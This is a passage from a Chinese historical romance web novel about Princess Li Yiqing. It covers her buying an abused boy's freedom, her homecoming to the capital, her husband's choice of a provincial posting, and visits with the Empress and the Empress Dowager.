盛蝉半倚在棚子下，“我爹说边关不稳，西边大夏野心勃勃，带复银去，也是为了历练。”
盛大将军成婚晚，三十出头才得了盛蝉，现在已经五十多岁。
盛家祖上没有什么大官，直到盛大将军出头，盛家才在遍地贵人的京城有了起色。
不同于家族流传，盛家的功名都是盛大将军一刀一枪在战场上厮杀出来的。战场凶险，明枪暗箭防不胜防，盛大将军身体再好，也禁不住连番操累。
“大夏才安分了不到十年，没想到……”李意清看着盛蝉微微闭目，兴致不高的模样，出声道，“今日纵马，只为畅意，不论其他。”
柳夕年也道：“正是，今日天高气爽，微风阵阵，正是适合骑马。”
盛蝉听到这话，有些诧异，“今日你也上场？”
柳夕年看了看自己身上一身新做的衣裙，又看了眼棕黑漂亮的骏马，佯装叹息，“我这就当是舍命陪君子了。”
盛蝉皱了一早上的眉头微微松开，忍不住笑着看向李意清，“你还记得上次骑马吗？她骑术不精，又娇生惯养，大腿被磨破了，后来一见我就要打我。”
李意清自然记得，也含笑看了柳夕年一眼，“时间一晃两年，不知道柳先生骑术进步多少。”
柳夕年对两人调侃毫不在意，命人取来骑装换好后，骑上了马，刚开始还有些不熟悉，接着找到感觉，倒是像模像样。
李意清和盛蝉对视一眼，双双骑上马。
三人骑着马，越来越快，向着马场后林去。
太子殿下的马场，修筑地点依山傍水，风景绝佳。李意清感受脸上的微风，忍不住道：“今日畅快，不过到了六七月，天气闷热，就不会这般肆意了。”
柳夕年刚开始还好，骑了数十里，腿上的痛感复发，她语气不像刚开始淡定，声音微颤，“六七月骑马，大汗淋漓，又晒得很，我是真搞不懂你们，如何这般喜欢骑马。”
盛蝉不以为然：“夕年，你感受风拂过脸的感觉，山河如画卷展开，难道不比你在屋舍中提笔空想来的好吗？”
柳夕年道：“盛蝉，说你是武夫，都抬举你了。”
李意清看两人互不相让，开口道：“今日骑到后林叠翠湖，我有东西送你们。”
盛蝉果然被吸引了注意。
“意清，你这跟送给她有什么区别？”
柳夕年不满道。
不过即便轻声抱怨，却也没有松开手中的缰绳。
叠翠湖看着近，但是真到了，却也花了两柱香时间。
因为距离马场较远，叠翠湖边的草并不像跑马地那边修剪整齐，郁郁葱葱，倒映在水里，衬得池面一团翠色。
李意清驭停马，旋即从马上一跃跳下，轻盈地落在地上，扯着缰绳走到一棵林树边，将缰绳绕了几圈，打了一个牢固的活结。
盛蝉也没落后，两人都将马拴好后，才看到柳夕年扯着缰绳和马鬃，颤巍巍地落到地上，盛蝉看了不禁放声大笑。
“得亏是太子殿下养的宝驹，性情温和，若是寻常骏马被你扯着，怕不是要把你踢下来。”
“光看热闹，也不说过来扶我一把。”
柳夕年没好气道。
盛蝉说归说，但是还是主动接过她手里的缰绳，替她绑在树上。
李意清自然关注到了两人的对话，不过她心里装着事。
柳夕年走到她身边，看了一眼浩渺的湖面，转头对李意清说：“有心事？”
李意清笑着摇头。
她不说，柳夕年也猜到了几分。
盛蝉忙完，见两人都沉醉地看着湖面，大咧咧开口道：“意清，你说有东西送，是什么？”
李意清抿唇笑了，“没带出来，等回去，我差人给你们送去。”
盛蝉立刻喜笑颜开，连带着柳夕年心情也好了几分。
三人在湖边待到傍晚，西边落日余晖，水面上波光粼粼，三人并肩坐在林场。
微风夹杂着青草的味道，不浓烈，却像是佳酿，令人忍不住就沉迷其中，流连忘返。
*
“云影随波动，金光洒满川。”李意清看着天边落日残霞，生了几分感慨，“若是有白鹭渔舟，就更有妙趣了。”
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即便打死了你，谁又敢说半句不是。”
洛石在后面嘀咕道：“你既然是他老子，叫他野种，你又是什么。”
王豹瞪过去，“你唧唧歪歪什么呢？”
洛石毫不客气的怼回去，“说的就是你。要是不服气，有种单挑。”
王豹看着洛石的小臂，缩了缩脖子，粗声粗气：“老……我今日腿受伤了，不和你打。”
说完，他用一种极其不耐烦的态度看向李意清，“怎么样啊，我这儿子再有几年就能成年，瞧他那副好模样，卖去馆子里也是这个价格。”
妇人颤抖着身躯缓缓蹲下。
沈林像是早知道他会这样说，脸上没有一丝难过。
他走到妇人的身边，轻声询问道：“娘，跟我一起走。”
妇人看着榻上的两个孩子，闭眼摇了摇头。
“娘若是担心草儿和花儿，我带他们一起走。”
王豹猛地站起身，一个巴掌以迅雷不及掩耳之势落在了沈林的脸上，“你个小兔崽子，不知道孝敬我就算了，还想拐走草儿和花儿，我看你是想死。”
被打的那一边很快泛红肿起。
妇人看着沈林，带着哭腔道：“林儿，娘没事，花儿和草儿还小，我不能丢下他们。只要你活得好好的，娘就心满意足了。”
说完，妇人转身看向李意清，朝她磕头：“姑娘，林儿跟着我受苦，若是哪里做事不周到，都是我这个为娘的没教好，你大人有大量，别和他计较。”
王豹刚准备伸脚踢人，被洛石挡下。
李意清垂眸看着沈林的背影，“你走吗？”
沈林没有说话。
妇人急了，伸手扣在沈林的肩膀上使劲的摇晃，“林儿，别说傻话。娘不要你留下，娘不准你留下。你若不去，从此别再进家门。”
沈林眼眶发红，抱着妇人无声流泪。
李意清对洛石道：“五十两，给他。”
洛石憋着一口气，从锦囊中掏出五十两甩到了王豹的怀里。
王豹望着怀里白花花的银子，笑得眯起眼睛。
李意清看了一眼榻上矮小瘦弱的两个孩子，转身离开了小屋。
一墙之隔，屋内的空气凝滞苦涩，而大海并不在意人间的悲欢，涌浪不止。
沈林最后一个出来，他欲言又止地看着李意清。
“你要和我说什么？”
沈林深吸一口气：“姐姐，你放心，总有一日我会赚到五十两，还给你。”
“真是孩子气的回答，”洛石在后面伸手往他脑门上一拍，声音无所谓道：“五十两，你以为你身上用的药是大风刮来的不成？殿下好心收留你，你听着殿下吩咐做事就是了。”
沈林沉默，半响道：“我知道了。”
遥远的海浪中夹杂着妇人的抽泣声，孩童的哭闹声，可是海风太大太响亮，远处的一声鸥鸣声掩盖了世道下所有的不平与哀恸，任潮涨潮落。
海边捕鱼的那群孩子依然只穿着一件短小的褙子踩在水里，四五个人才能合力展开一张渔网。礁石的女孩让阳光晒得皮肤发红，她却丝毫不在意，口中念念有词：
“大海之水，朝生为潮，日落为汐……”
【卷二：江宁暗涌完】
92. 多福
李意清在九月中旬回到了京城。
留别亭中，元辞章今日告了假，特意前来等候。
一路北上，天气愈发寒冷，李意清身上披着一件绒领的斗篷，看见元辞章的身影，三步并作两步，快速走到了他的身边。
“等很久了吗？”
元辞章伸手捻开她被风吹起的发丝，微微摇头，“没有。前些日子收到你的书信，我很想见你。”
他的视线落在洛石身边的沈林身上。
“这位是？”
李意清伸手拉住元辞章已经被风吹凉的指节，笑着道：“我回程路上救下的，他的事我回去和你讲……一路上在海上漂流，食之无味，肚子都要饿坏了。”
元辞章看着她莹润的鼻尖，莞尔，“家中早已经备上了炉子，还有你最喜欢的牛肉煎豆腐，果饮有荔枝露和柑橘饮，你大概会喜欢。”
李意清闻言，眼眸中泛着光。
“走走走，快些回去。”
她拽着元辞章的手往前跑去，秋天的落叶厚厚堆积一层，走动时扬起的衣袂带起的微风拂起本该化作尘泥的叶片，像是衣袂上飞舞的蝶。
两人回到公主府，还没落地，便有一只胖嘟嘟的黑狗围了上前，朝着马车嗷嗷直叫。
“汪！汪汪！”
李意清被这突如起来的狗叫声吓了一跳。
元辞章眼底蕴藏着浅浅的笑意，温声道：“是多福。”
大半年的时间，原先奶声奶气的小狗变得愈发壮实，四脚站在地上时，比李意清的膝盖只高不低。
多福还在嚎叫，闻声而至的梁师傅追了出来，伸手在多福的狗头上摸了几把，“多福，多福，是殿下，殿下回来了。”
有了梁师傅在旁，多福镇定了不少。它偏着水盈盈的眸子，瞳孔中倒映着李意清的身影。
李意清有些害怕，更多地则是对多福的记挂。她接过元辞章递来的一块肉脯，试探性地伸出手。
多福闻到肉的味道，往前凑了几步，用牙叼住了肉脯。
多福吃东西很斯文，它专心啃着肉脯，没有理会李意清的手落在了它的脑门上。
“多福呀。”
多福听到李意清的声音，原先有些不以为意，忽然，张着嘴巴愣愣地看向她，连肉脯掉在了地上都没有在意。
它愣了一秒，尾巴忽然摇成螺旋桨，嗷嗷叫着就摇头晃脑来蹭李意清，还伸出两只粗壮的前肢，重重搭在李意清的身上。
众人肉眼可见多福对李意清的喜欢。
被多福热情对待的李意清被这一双的狗爪扑得后退好几步。
元辞章一只手揽住李意清的腰肢确保她不会被撞到，另一只手隔开了多福的靠近。
他嗓音低沉，带着莫名的意味：
“多福再次见到我的时候，可没这么闹腾。”
李意清抬眸看着他的下颌，嘴角是怎么也遮挡不住的笑意：“你当初忙得头脚倒悬，每日在府上的时间就那么一点，多福对你自然记得不多。”
站在后排的梁师傅露出一个笑，伸手将多福往后拖了拖。
多福毕竟是一只成年的大狗，也有三四十斤重，这一爪子下去，那滋味可不好受。
梁师傅看着李意清和元辞章站在一起，真是怎么看怎么般配，脸上笑意欲发明显。
“殿下，驸马。茴香姑娘跟在殿下身边，今日的膳食是我做主准备的，不知道还合不合殿下的胃口。”
“梁师傅烧的京菜，我在江宁就开始想念。”
梁师傅：“那下次殿下出门，带上老梁我，我旁的不会，就这案板上的功夫没得说。”
茴香和许三站在一处，闻言道：“哎哎哎，你们就欺负茗禾姐姐现在不在吧。”
众人一路欢笑着回到府上。
用过饭后，李意清唤来热水沐浴，洗净一路上奔波的尘土后，松了口气。
天色渐晚，元辞章今日并没有处理公务，而是坐在烛台边剪烛花。
朦胧绰约的灯光映在他的脸上，像是拂落的轻纱，欲语还休。
李意清站在门边欣赏了一番，几个月不见，她一路上装成不在意的样子，可是心底，早就横生思念。
忽然，元辞章朝门边看了过来。
“……意清。”
李意清被他喊得微微晃神，而后嘴角忍不住绽放一个笑容。
“嗯。”
她走到元辞章的书案前，靠在他的身边坐下，伸手随意拿起桌上的纸张。
自元辞章归京后，顺成帝在朝中大动干戈，彻底清算孟氏罪行。
昔日如日中天的孟氏一朝落败，属新臣派以庞大学士为首的一行人对世家的攻伐最为猛烈。
元辞章在孟氏罪行上有功，被顺成帝官复原职更进一步，却因此被新臣派记恨上——毕竟元辞章，也出身世家大族。
新臣派在合理围剿孟氏后，便将矛头对准朝中其他世家弟子，言语之中，多为不屑。
方屿在朝中为数不多愿意为元辞章说话的人，有一日下朝时，有官员私下三两聚首，笑元辞章仗着祖上积荫走到今天这一步，方屿在旁边听着气不过，伸手对着官员的脸就是一拳。
方屿身体健壮，一拳头招呼下去，官员的脸瞬间青紫一片，鼻孔冒血。
后来那个官员闹到了圣上面前，圣上无奈，象征性地罚了方屿十天紧闭，不得外出。
方屿在家中关着紧闭，手却不肯停，研磨墨汁提笔写下一篇《滑天下之大稽：檄新臣文》，那份书稿一共三页纸，一经流传，掀起轩然大波。
方屿在书信中洋洋洒洒，说顺成帝的王朝不再是任人唯贤，而是要透着世家和寒门的帘帐看人。
此言一出，将世家和寒门的争斗直接拉入了白热化。
元辞章也为此奔波了数日，才将众人停留在方屿身上的视线转移走。
李意清放在手中的纸，将头轻轻倚靠在元辞章身上。
元辞章感受到怀中的暖意，微微怔愣，而后调整姿势，好让李意清能靠的更舒服。
李意清忽然道：“元辞章，在朝是不是很累？”
元辞章放下手中的小银剪刀，声音温和：“还好。”
李意清闭上眼眸，“你不用哄我，我知道的。”
元辞章：“不必担心，我能处理妥善。世家和寒门处于对立面时日已久，要解决并非一朝一夕的功夫。”
“朝中世家无人，现在难以说得上话。”李意清声音越来越轻，像是陷入了睡梦中，“如果没有足够的权势……”
她的话说了一半，便只剩下平静安稳的呼吸声。<
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p>元辞章垂眸看着李意清的睡眼，目光中满是温柔。
他轻轻伸手，落在了李意清的眉眼上。
前几日太子也找过他，现在世家和寒门交锋，中立派的老臣不参与党派之争，新臣派中以庞大学士和郑延龄为首，世家派中已经无人能和这二位正面相抗。不如借此机会，远走外地为官，避开朝中这些明争暗斗。
太子虽然这样建议，却没有直接让他立即行动，毕竟在外为官是有风险的，要么庸庸碌碌蹉跎岁月，要么做出功绩平步青云，而后者历朝历代，也不过几个人罢了。
一个远离了中枢的能臣，就像是失去利爪的猛虎，威胁大减。
朝上真正能说上话的，还是京官。
太子看出元辞章的担忧，故作轻松地安抚笑道：“虽然在外为官不得见天颜，但是我相信伯怀，能够成为少数步步高升之人。”
元辞章则是有些诧异，他沉吟片刻，才对太子道：“微臣担心，公主舍不得陛下娘娘。”
太子一时间哑口无言。
……
元辞章看着李意清的睡颜，嘴角笑意浅淡柔和，他保持这个姿势半个时辰，确保李意清已经睡熟，才打横抱起她，安安稳稳放在了床上。
翌日，公主府前来了两位上门探望的客人。
太子和二皇子前后脚赶到，李意清看着自己的两位兄长，忍不住笑了笑，“你们来的倒是很巧，我刚好准备用饭，今天有卤肉炖菜，一道用一些？”
二皇子在看见太子的一瞬间就僵硬了，下意识准备沿门离开。
太子拦住他，笑道：“既然来了，就一道吃一点，我们三个，已经很久没有聚在一块吃顿饭了。”
“……皇兄记性越来越差了，除夕年宴上才碰过面。”
二皇子被太子挡住去路，脸上神色古怪，他给站在门边干着急的下属比了一个手势，示意他们可以暂且先退下。
太子看着他的动作，像是随口猜测道：“这次你准备送的是什么？我猜猜看，是蜘蛛，还是蝎子？”
二皇子脸色僵硬：“不是，都不是。”
太子见好就收，看见走近前的李意清，仔仔细细观察着她的神态。
见她脸上并没有留下什么愁苦，扬起一个笑容，伸手在李意清的肩膀上拍了拍，“回来就好。”
三人坐在餐桌上时，二皇子忽然从袖子中摸出一个精致的玉瓷瓶，丢在了李意清的怀里。
“这是明菡胶，祛疤效果不错，你先用着，若是觉得还好，我改日再送些来。”
李意清伸手拿起玉瓷瓶，拔开上面的小盖，一股冷冽清香的荷花味扑面。
太子正在夹菜，听到二皇子的声音，嘴角上扬，“我听说这明菡胶并不好找，行渊有心了。”
李意清也笑道：“多谢皇兄。”
二皇子一脸不耐烦的样子，“就一个祛疤的胶而已，有什么稀奇？吃饭吃饭。”
李意清看他的神色，心底觉得好笑，伸手拿了一只碗盛了汤放在他面前，“这锅老鸡汤炖了两个时辰，味道鲜美，皇兄试试？”
二皇子本以为是盛给太子的，看见放在自己面前的汤，忽然就愣在了原地。
“你自己吃就是，还操心这些……”
话是这样说，手却很诚实地接过了碗。
93. 三州
太子看着两人的互动，有些无奈地笑了。
一顿饭吃下来，气氛还算融洽。
太子有公务在身，他看着李意清，像是有话要说，可是临了像是想起什么，又闭上了嘴。
二皇子身上依旧没个一官半职，顺成帝看他快要弱冠，把他召回京城，准备在京城的名门闺秀中为他选择一个好姻缘。可是就二皇子现在的名声，稍微疼惜女儿一点的人家，都不愿意点这个头。
二皇子浑然不在意。
见太子和随行的侍卫离开，二皇子压低了声音，神秘兮兮地看着李意清道：“你猜太子刚刚要说什么？”
“你刚刚还叫他皇兄。”
“都一样，”二皇子不在意地摆了摆手，“你难道就不好奇？”
李意清抬眼看去，二皇子满脸写着“我知道，快来问我”这一行字。
她移开了视线，轻声道：“无非就是京城是非地，劝他外派为官。”
“你知道？”二皇子有些意外，“既然你知道，我劝你再考虑考虑。我也在外待过的人，无论如何，都不想再离开京城了。”
二皇子说这句话时脸上满是随意，丝毫不觉得自己刚刚说了一句什么惊人之语。
成年的皇子，如果没有陛下的诏书，一般不可留在京城。
李意清掩藏着自己眸中的情绪，淡然地笑了笑，“知道皇兄在为我考虑，等元辞章回来，我会和他好好聊聊。”
二皇子：“也罢，本来就没指望能说服你。”
他站起身，准备离开，碰上了迎面走过来的沈林。
沈林本端着茶水，没有预料到二皇子会突然起身，托盘上的茶水洒了二皇子一身。
二皇子今日特意穿了云纹缂丝长袍，这种长袍寸布寸金，即便是在京城中都有价无市。
看见自己身上深色的袖袍，他的脸几乎是立刻就阴沉了下来，森然冰冷。
李意清太熟悉二皇子发疯前的乌云密布了，她朝沈林道：“沈林，退下。”
二皇子却不为所动，细长的眼眸紧紧锁定着沈林的高马尾，声音低沉道：“抬起头来。”
沈林没有动作。
李意清看得很是紧张，“二皇兄，沈林才随我入京，没见过什么世面……”
“我没在和你说话！”
二皇子语气暴戾，他伸手勾起沈林的下巴，看见沈林的一双浅色瞳孔，猛地一脚将他踢翻在地。
旧伤未愈合的沈林往后重重摔倒，头磕在石灯上，渗出一抹红色。
李意清看着沈林一脸熟练忍痛表情，心底不合时宜地想到他能活到这么大也算是命硬。
二皇子却没有打算就这样放过他，他掰动自己的腕骨，发出一阵噼哩哗啦的声音，而后不知道从来抽出一根细而有韧性的弓弦，朝着沈林缓缓走去。
“皇兄！”
李意清走到沈林的身前，目光灼灼地看着二皇子。
二皇子修长的手把玩着那一截弓弦，声音犹如淬了寒冰，“你可知道他是什么来历？”
李意清从袖中掏出手帕，覆盖在沈林额头上的伤口，声音平静而沉着，“他是我亲手救回来的，我自然知道。”
二皇子像是被她气笑了。
“李意清，你还是跟以前一样蠢。”
李意清简单将沈林额头上的血擦干，招呼毓心带沈林先下去处理伤口。
沈林的唇已然开始发白，他伸手勾住李意清的衣袖，“姐姐……殿下，你信我。”
李意清微微点头。
沈林这才放心地跟着毓心走了出去。
二皇子扭头，强制自己不去看两人的互动。
送沈林离开后，李意清走到二皇子身边，伸手拽动那一根被他紧紧攥着的弓弦。
李意清感受到一阵抵抗，不过在她施加的力道逐渐加大后，二皇子主动松开了弓弦。
“李意清，你养虎为患，总有一日会反噬自身！”
二皇子脸上的怒意丝毫不减，这就话说来，又像是泄愤一样，将李意清推到了一边。
李意清触不及防，往后连退了好几步。
刚回府的元辞章见到这一幕，快步上前，伸手护住了李意清。
二皇子现在看谁谁烦，没好气地瞪了元辞章一眼，转身往外走去。
李意清看着一脸关心的元辞章，安抚地拍了拍他的手背，然后朝着二皇子的背影喊道：“皇兄不必担心，我有分寸。”
二皇子轻嗤一声，脚步不变，离开了公主府。
他走后，元辞章才问道：“方才怎么了？”
李意清看着元辞章的眼眸，嘴角忍不住上扬，“你还记得我昨夜和你提到的沈林吗？皇兄刚刚碰到沈林了，他心中担忧。”
元辞章若有所思。
李意清握着他的手。这双手修长干净，不过此刻摸起来却有些太冷。
“吃过了吗？”
元辞章微微颔首，今日户部下值早，裴尚书主动拉着他去伙房。
六部的伙房一般来说只是为了方便家住的远的主簿、掌固能省去来往的教程而设立的，像裴尚书那个品级，一般都有专人负责膳食，无需亲自到场。
裴尚书相邀，元辞章不好拒绝。伙房的师傅哪里见过这种阵仗，连忙多炒了两道大菜。
元辞章讲完，李意清忍不住笑了出声。
笑完，她才转头看向元辞章，“现在离开京城，是你仕途的最好选择，我可以随你离开京城。”
话题转的太快，元辞章甚至有些没反应过来。
“啊？”
李意清重复了一遍，“我说，我可以离开京城。你知道我有多想看见这人间。”
四目相对，元辞章率先败下阵来。
“在州府为官不是那么轻松的事情，你愿意陪我，我很高兴。”元辞章看着她，眼底蓄满了温柔，“先在京城暖暖和和过冬，等开春了，我们一道上任。”
李意清捕捉到他话中的言外之意，想来顺成帝也看出朝中局势，留元辞章在太和殿谈过了。
“你，现在知道是去哪了吗？”
元辞章沉吟，而后道：“尚不确定。”
顺成帝找他，提到了三个地方，一个是西南的泸州，此地的知州年纪大了，腿脚一日比一日差劲，于上月月底发函京城，提出致仕请求。
其二是西北的庆州，出城策马三个时辰，就能看见大夏国的白帐。
西北有西北的浪漫，大漠孤烟，青草漫野，成群的牛羊散步在水草丰盈的水边，东看是初生的阳光，细看是月夜的星斗。
可是也并非毫无不足，冷冽的寒风，漫天的沙尘，骤降
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的气温和贫瘠的土地，有时候连简单的生存都变得不再简单，更遑论出没的狼群与其他猛兽。
元辞章并不舍得让李意清陪自己吃这种苦。
至于第三个，则是地处江南的舒州。孟氏被清算后，不少淮地临近州府重新换人，人选七七八八都定的差不多，除了舒州府。
舒州府承东西而接南北，只可惜离江宁黄州太近，人少钱少，年年洪涝，在江南乃至整个南边排不上名。
李意清看着元辞章，轻轻伸手揉开他蹙紧的眉，声音安抚道：“无妨，在哪里都是大庆的山河，一点都不亏。”
元辞章：“嗯。”
李意清并没有纠结这件事情太久，总归前去州府，也是开春之后的事情，她现在不必担心。
更要紧的，是皇后派人来传的话。
李意清回到京城的第一天，皇宫就派人来了，来的还是皇后身边的一等嬷嬷。
嬷嬷说，等李意清在京城中休息一段时日，便去皇宫中找皇后说说话。
李意清想起裕世子做的混账事，心中满怀气愤，却又无能为力。
去年起大夏和大庆边境就开始摩擦不断，大大小小算下来，去年每个月都爆发了不下两次的冲突。而今年却一反常态的主动退避。
事出反常必有妖。大夏显然正在养精蓄锐，等待一个时机。
*
李意清路过玉鲤池时，看见坐在河边喂鱼的淑妃。
淑妃依然穿着一身白衣，坐在特意制成的嶙峋模样的假山石上，随手撒着手中鱼食。
她的模样从容而静好，嘴角噙着浅浅的笑意，像是无忧无虑的姑娘。
一年多不见，李意清自觉和淑妃娘娘已经生分，没有贸然前去打扰。
反而淑妃在身边的侍女的提醒下，将朝她看了过来，嘴角弯弯道，“於光公主。”
“淑妃娘娘安好。”
“公主今日进宫，是来看望皇后娘娘吧。”
淑妃将手中的食盆放在一旁的石块上，石块并不平整，食盆晃荡两下后，扑通一声掉入鱼池。
原先三两游曳的锦鲤躁动起来，尾鳍拍动水面，争抢成密密一团。
淑妃“哎呀”了一声之后，脸上露出惋惜的神色，“鱼这种生物是不知饱的，若是放任它们不管，可就要撑死了。来人，去将鱼食捞起来。”
随着淑妃的吩咐，立刻就有两个小太监从人群中走出来，毫不犹豫地跳入水中。
李意清默默注视着淑妃平静恬然的脸庞，忽然不期然对上淑妃的视线。
这是李意清第一次正面和淑妃的视线相撞。毫无疑问，淑妃的眼眸很漂亮，像是平静幽潭上浮碎的月光，星星点点。
淑妃轻笑着开口：“公主大半年不见，想来有些生分了。”
李意清觉得这样的眼睛很熟悉，但是一时间又想不来在哪里见过。
听到淑妃的话语，李意清轻咳一声，“淑娘娘说笑。儿臣今日还要去拜见母后，改日在于淑娘娘说话。”
淑妃点了点头，“拜见皇后娘娘要紧，公主不宜耽搁……公主此番回京，可要留在皇后身边多陪陪她，没了你在京中与皇后解闷，皇后可……”
她话说到一半，又像是自知失言一般捂住了嘴唇，不再言语。
李意清心猛地下坠。
94. 前尘
李意清：“淑娘娘不如说个明白。”
淑妃有意回避这个话题，搭着侍女的手就要离开。
李意清看着她匆匆离开的背影，忽然心中像被针扎了一样疼痛。
毓心急忙扶住她，“殿下，没事吧。”
李意清摇了摇头，“先去看母后要紧。”
她朝着坤宁宫赶去，走进去后，发现坤宁宫和上次来时并没有什么不同。
碧眼金睛瑞兽的香炉中冒出浅淡悠然的檀香，丝丝缕缕，皇后坐姿端庄，伸手翻看着一本书册。
听到李意清的脚步声，她微微抬眸，眼中满是温和。
“意清。”
李意清特意没让宫女通传，可是看见皇后面色红润，并没什么不适的症状。
她走到皇后的身边，语气关切，“母后身体还好吧。”
皇后看着她一脸的担忧，伸手摸了摸她的脑袋，“母后在宫中养着，能有什么事情。倒是清儿这么匆忙，是有人跟你说了什么吗？”
李意清：“儿臣来的路上，碰到了淑妃娘娘。”
“原来是她啊，”皇后不以为意地点了点头，“她就是关心则乱，你不必担心。倒是清儿，也不小的人了，却还是难以让人放心啊。”
邱念慈是顺成帝派下来的人，父皇知道，就等于母后也知道。
李意清咬了咬唇，耍赖一样抱着皇后的胳膊，“母后，儿臣以为父皇怕你担心，会帮儿臣遮掩一二。都怪父皇不好，让母后担心了。”
皇后被她这一番无理取闹的话惊了片刻，而后苦笑不得地拍了拍她的脑门：“你啊你。”
李意清伸手在自己的小腿上拍了拍，“母后您看，现在都已经养好了。我保证，以后我会很小心的。”
手掌带动的风掀开了裙角，尽管只有一瞬间，皇后还是看见李意清小腿上的伤疤。
邱念慈一直在用最好的药治疗，留下的疤痕都浅淡得难以察觉，可是对于一个母亲而言，任何细小的伤痕都会放大无数倍，从而变得刺眼。
皇后心底泛起一股密密麻麻的疼痛，鼻尖微酸，意识到李意清还伏在自己膝上，收敛了自己的情绪，轻柔地抚摸李意清的发丝。
“意清，以后无论发生什么事，都不值得你以性命相搏。”
毕竟，你的性命于我而言，就是这天底下最重要的事情。
皇后的声音很轻，带着浓浓的后怕。
李意清把头靠在皇后的膝上，乖巧道：“母后，我记得了。”
皇后：“记得了可不够，能做到才算……对了，你临行之前，将城南书院一事交托与我，我将其整理成册，你可要看看？”
李意清蹭了蹭皇后，像是撒娇的女孩，“母后行事稳妥，清儿没什么可以担心的，这些册子回去再看也来得及。儿臣许久没有见到母后，现在只想好好陪母后说话。”
皇后哑然失笑。她垂眸看着李意清清丽的眉眼，似叹似嗔：
“你这孩子……”
一旁伺候的宫女纷纷退下，将坤宁殿留给母女两人。
到了饭点，才有侍女前来传话。
桌上满满当当摆放着九道菜肴，三道荤菜五道素菜，以及正中间的一碗汤。
宫女摆放讲究，从高处往下看，像桌上的一朵花。
皇后遣退专门上前布菜的宫女，亲手为李意清舀汤。
李意清看着皇后的几次放下筷子欲言又止，放下了手中的汤勺，出声道：“母后要说什么？”
皇后似乎没有想到自己自以为隐蔽的行为被李意清一眼看穿，犹豫了片刻道：
“清儿，驸马对你好吗？”
李意清愣了一下，“很好。元辞章敬我重我，时刻将我放在心上。”
皇后：“那你们相处，应当还算融洽？”
李意清：“自然融洽。母后，怎么突然这么问？”
“原也不必询问，只不过前些日子安国公夫人进宫请安，言谈之中提到了子嗣的事情，”皇后语气放松了一些，“安国公夫人老来得女，幺女却所托非人。观其意思，安家小姑娘亏在没有子嗣上。”
就因为安家姑娘没有子嗣，犯了七出，即便是安国公，也阻挡不了夫家的指责。
李意清：“安国公夫人疼惜女儿，却也人云亦云，指责女儿生不出孩子吗？”
皇后缄默不语。
“安国公夫妇在一起四年后才有所出，幺女更是四十才得，安国公夫人明明知道女子的不易，为什么也对她加以指责？”
李意清语气冷静，几息之后，猜到了皇后的用意，“母后是在担心我吗？”
皇后将玉箸放在碟子上，认真地看着她，“清儿，我知道你素来不喜欢这条条框框的束缚，母后只是想提醒你一句。无论你做出怎样的选择，你都是母后最心疼的女儿，只是母后不希望有朝一日，那些流言蜚语贸然闯入你的耳中，而没有丝毫铺垫。”
李意清：“嘴长在别人的身上，即便是父皇，也不能将他们的嘴给封上。母后，无事的。”
皇后叹了一口气，“比起他人的口舌，我真正关心的，只是你日子过的舒心与否。听到吾儿一切顺遂，母后自然就放心了。”
她说完，端起手边的茶盏轻抿，像是被水呛着一般，发出一声声沉闷的咳嗽。
李意清连忙伸手抚着皇后的背，“母后，没事吧。”
皇后咳嗽声不止，难以说话，只能伸手摆了摆。
等咳声平复，她才有些气虚地笑：“方才着急了，一时间喝水呛着，清儿不必担心。”
李意清还没来得及开口，太后身边的萧嬷嬷走了进来。
进门后，萧嬷嬷先对着皇后行了礼，而后对李意清道：“殿下回京数日，还没有去慈宁宫见见太后，太后一直念叨呢。”
皇后微不可察地松了一口气，转头对身边的李意清道：“清儿，去给你皇祖母请安吧。”
李意清站起身，对皇后道：“那改日，我再来拜见母后。”
皇后噙着温柔地笑，目送李意清离开。
*
从慈宁宫出来后，李意清的神色带上了几分惆怅。
“皇祖母鬓边已白发丛生。”
区区两年时光，太后的面容却宛若隔世。
毓心跟在她的身后，轻声道：“殿下，太后娘娘已经年迈。”
春去秋来，生老病死，都是人间常事。
可是一想到要接受至亲之人的离开，即便是寿终正寝，也不免悲伤怀念。
李意清回到公主府，看见了门口高悬的灯笼。
茴香和许三站在门口张望，看见李意清的身影，双双跑下台阶，挤在李意清的身边说话。
“殿下殿下，你可算回来了。”
李意清扫过两人，没有看见那一抹青玉色的身影。
“元辞章呢？”
茴香立刻道：“驸马在下厨。”
许三补充：“我家公子并非一时兴起，已经练习不少次了
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，殿下放心，味道肯定不会差。”
他话音未落，茴香探出脚狠狠踩了他一下，“不是说好不许提吗？这都是驸马准备的惊喜，被你这样讲出来，还有什么惊喜可言？”
许三痛得龇牙咧嘴，他挠了挠脑袋，“可是我家公子以前从未进过厨房，我怕殿下倒是若是不敢动筷，会让公子伤心。”
李意清不置可否。
她一边朝里走去，一边问：“他怎么会突然想到学厨艺？”
“公子说，他只希望殿下无论何时何地，都能餐饭饮水暖。公子还说，无论是梁师傅还是茗禾姐姐，都没法永远陪在殿下的身边，但是他不一样，他无论如何，都会在殿下身侧。若是殿下想做山野农夫，他也能下得耕田和厨房，让殿下衣食无忧。”
李意清的步伐不动声色的一顿。
她今日午后去了慈宁宫中，太后正在看着先帝的遗作发呆。
看见李意清的身影，她强打起几分精神，絮叨了半个时辰，忽然道：“这世上，终究没有人能随一个人走完这一生。”
太后的父母兄长没有做到，帝婚的夫君也没有做到。
李意清喃喃。
太后看着她，神色流出几分怀念，
“你的铭华姑姑，是哀家唯一的女儿，哀家当时在文武百官中左挑右选，为她选择了一位良人，可是她并不满意哀家选择的人，而是自作主张选择了一个郎君，那郎君花言巧语，我的铭华当时懵懂，傻乎乎地信了，婚后二人并不幸福，在那郎君纳第三房娇妾时，郁郁而终。哀家就想，是不是哀家错了。”
李意清看着太后的神色，忽然懂了赐婚后，寿宴回慈宁宫那一段路上太后的惆怅。
“所以，姑姑的前车之鉴，让皇祖母心有余悸，主动做主我的婚事吗？”
“是，但不全是，”太后微顿，“你年纪小，哀家怕你识人不清，可是意清你不知道，在哀家做主为你选亲事之前，元辞章那孩子，已经主动找过我。”
彼时的太后刚刚放出给公主选择夫婿的消息，元辞章就像个毛头小子一样冒冒然递帖子进了宫。
当时尚未弱冠、尚无功名的元辞章跪在地上，一字一句诚恳道：
“臣元辞章，愿求娶意清公主为妻。”
太后坐在高座上神情淡漠：“你如何证明？”
元辞章道：“若是得公主殿下，今生只此一人，白首相随，事事以她为先，珍她敬她，护她爱她。若殿下先去，臣绝不贪恋红尘，若臣不幸亡故，殿下不必为臣守节，只愿她此生豁达畅意。”
太后看着元辞章青涩而坚定的面容，忽然想起了铭华公主。
昔日的铭华公主也跪在她的面前，祈求她的颔首。
“女儿此生只愿嫁给周郎一人，此后风霜雨雪，女儿绝不言悔。”
